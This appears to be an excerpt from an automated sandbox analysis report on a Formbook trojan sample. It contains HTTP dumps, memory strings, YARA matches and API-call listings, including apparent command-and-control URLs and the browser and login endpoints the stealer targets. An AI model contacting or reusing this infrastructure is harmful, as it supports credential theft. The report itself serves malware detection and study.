0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:03:05 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">

Source: NETSTAT.EXE, 0000000B.00000002.2583392591.00000000045F8000.00000004.10000000.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000002.2581565135.0000000002C88000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://newdaydawning.net/igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeth
Source: NU1aAbSmCr.exe, 00000000.00000002.1350243310.0000000002A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mCFHCvdrqdDiDT.exe, 0000000E.00000002.2583578419.0000000004A1D000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.tophm.xyz
Source: mCFHCvdrqdDiDT.exe, 0000000E.00000002.2583578419.0000000004A1D000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.tophm.xyz/30rz/
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: NETSTAT.EXE, 0000000B.00000003.2000233405.0000000007FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: NETSTAT.EXE, 0000000B.00000002.2579150975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0042C9B3 NtClose,	4_2_0042C9B3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622B60 NtClose,LdrInitializeThunk,	4_2_01622B60
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_01622DF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_01622C70
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016235C0 NtCreateMutant,LdrInitializeThunk,	4_2_016235C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01624340 NtSetContextThread,	4_2_01624340
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01624650 NtSuspendThread,	4_2_01624650
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622BE0 NtQueryValueKey,	4_2_01622BE0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622BF0 NtAllocateVirtualMemory,	4_2_01622BF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622BA0 NtEnumerateValueKey,	4_2_01622BA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622B80 NtQueryInformationFile,	4_2_01622B80
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622AF0 NtWriteFile,	4_2_01622AF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622AD0 NtReadFile,	4_2_01622AD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622AB0 NtWaitForSingleObject,	4_2_01622AB0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622D30 NtUnmapViewOfSection,	4_2_01622D30
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622D00 NtSetInformationFile,	4_2_01622D00
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622D10 NtMapViewOfSection,	4_2_01622D10
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622DD0 NtDelayExecution,	4_2_01622DD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622DB0 NtEnumerateKey,	4_2_01622DB0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622C60 NtCreateKey,	4_2_01622C60
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622C00 NtQueryInformationProcess,	4_2_01622C00
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622CF0 NtOpenProcess,	4_2_01622CF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622CC0 NtQueryVirtualMemory,	4_2_01622CC0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622CA0 NtQueryInformationToken,	4_2_01622CA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622F60 NtCreateProcessEx,	4_2_01622F60
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622F30 NtCreateSection,	4_2_01622F30
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622FE0 NtCreateFile,	4_2_01622FE0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622FA0 NtQuerySection,	4_2_01622FA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622FB0 NtResumeThread,	4_2_01622FB0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622F90 NtProtectVirtualMemory,	4_2_01622F90
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622E30 NtWriteVirtualMemory,	4_2_01622E30
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622EE0 NtQueueApcThread,	4_2_01622EE0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622EA0 NtAdjustPrivilegesToken,	4_2_01622EA0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622E80 NtReadVirtualMemory,	4_2_01622E80
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01623010 NtOpenDirectoryObject,	4_2_01623010
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01623090 NtSetValueKey,	4_2_01623090
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016239B0 NtGetContextThread,	4_2_016239B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01623D70 NtOpenThread,	4_2_01623D70
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01623D10 NtOpenProcessToken,	4_2_01623D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03934340 NtSetContextThread,LdrInitializeThunk,	11_2_03934340
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03934650 NtSuspendThread,LdrInitializeThunk,	11_2_03934650
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932BA0 NtEnumerateValueKey,LdrInitializeThunk,	11_2_03932BA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_03932BF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932BE0 NtQueryValueKey,LdrInitializeThunk,	11_2_03932BE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932B60 NtClose,LdrInitializeThunk,	11_2_03932B60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932AD0 NtReadFile,LdrInitializeThunk,	11_2_03932AD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932AF0 NtWriteFile,LdrInitializeThunk,	11_2_03932AF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932FB0 NtResumeThread,LdrInitializeThunk,	11_2_03932FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932FE0 NtCreateFile,LdrInitializeThunk,	11_2_03932FE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932F30 NtCreateSection,LdrInitializeThunk,	11_2_03932F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932E80 NtReadVirtualMemory,LdrInitializeThunk,	11_2_03932E80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932EE0 NtQueueApcThread,LdrInitializeThunk,	11_2_03932EE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932DD0 NtDelayExecution,LdrInitializeThunk,	11_2_03932DD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_03932DF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932D10 NtMapViewOfSection,LdrInitializeThunk,	11_2_03932D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932D30 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_03932D30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932CA0 NtQueryInformationToken,LdrInitializeThunk,	11_2_03932CA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_03932C70
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932C60 NtCreateKey,LdrInitializeThunk,	11_2_03932C60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039335C0 NtCreateMutant,LdrInitializeThunk,	11_2_039335C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_039339B0 NtGetContextThread,LdrInitializeThunk,	11_2_039339B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932B80 NtQueryInformationFile,	11_2_03932B80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932AB0 NtWaitForSingleObject,	11_2_03932AB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932F90 NtProtectVirtualMemory,	11_2_03932F90
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932FA0 NtQuerySection,	11_2_03932FA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932F60 NtCreateProcessEx,	11_2_03932F60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932EA0 NtAdjustPrivilegesToken,	11_2_03932EA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932E30 NtWriteVirtualMemory,	11_2_03932E30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932DB0 NtEnumerateKey,	11_2_03932DB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932D00 NtSetInformationFile,	11_2_03932D00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932CC0 NtQueryVirtualMemory,	11_2_03932CC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932CF0 NtOpenProcess,	11_2_03932CF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03932C00 NtQueryInformationProcess,	11_2_03932C00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03933090 NtSetValueKey,	11_2_03933090
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03933010 NtOpenDirectoryObject,	11_2_03933010
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03933D10 NtOpenProcessToken,	11_2_03933D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03933D70 NtOpenThread,	11_2_03933D70
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_030693B0 NtReadFile,	11_2_030693B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03069240 NtCreateFile,	11_2_03069240
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_030696A0 NtAllocateVirtualMemory,	11_2_030696A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_03069540 NtClose,	11_2_03069540
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 11_2_030694A0 NtDeleteFile,	11_2_030694A0

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_00F94B64	0_2_00F94B64
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_00F9DE4C	0_2_00F9DE4C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_04F50040	0_2_04F50040
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_04F50006	0_2_04F50006
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_06ED0CD0	0_2_06ED0CD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_06ED3528	0_2_06ED3528
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00418943	4_2_00418943
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004010AB	4_2_004010AB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004010B0	4_2_004010B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004101A3	4_2_004101A3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00403200	4_2_00403200
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00416ADC	4_2_00416ADC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00416B23	4_2_00416B23
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004103C3	4_2_004103C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040E443	4_2_0040E443
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00401470	4_2_00401470
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00401D62	4_2_00401D62
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00401D70	4_2_00401D70
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00404594	4_2_00404594
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004026D0	4_2_004026D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0042EF93	4_2_0042EF93
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01678158	4_2_01678158
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0100	4_2_015E0100
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168A118	4_2_0168A118
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A81CC	4_2_016A81CC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B01AA	4_2_016B01AA
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A41A2	4_2_016A41A2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01682000	4_2_01682000
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AA352	4_2_016AA352
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B03E6	4_2_016B03E6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE3F0	4_2_015FE3F0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01690274	4_2_01690274
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016702C0	4_2_016702C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0535	4_2_015F0535
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B0591	4_2_016B0591
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A2446	4_2_016A2446
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01694420	4_2_01694420
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0169E4F6	4_2_0169E4F6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01614750	4_2_01614750
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EC7C0	4_2_015EC7C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160C6E0	4_2_0160C6E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01606962	4_2_01606962
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016BA9A6	4_2_016BA9A6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F2840	4_2_015F2840
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FA840	4_2_015FA840
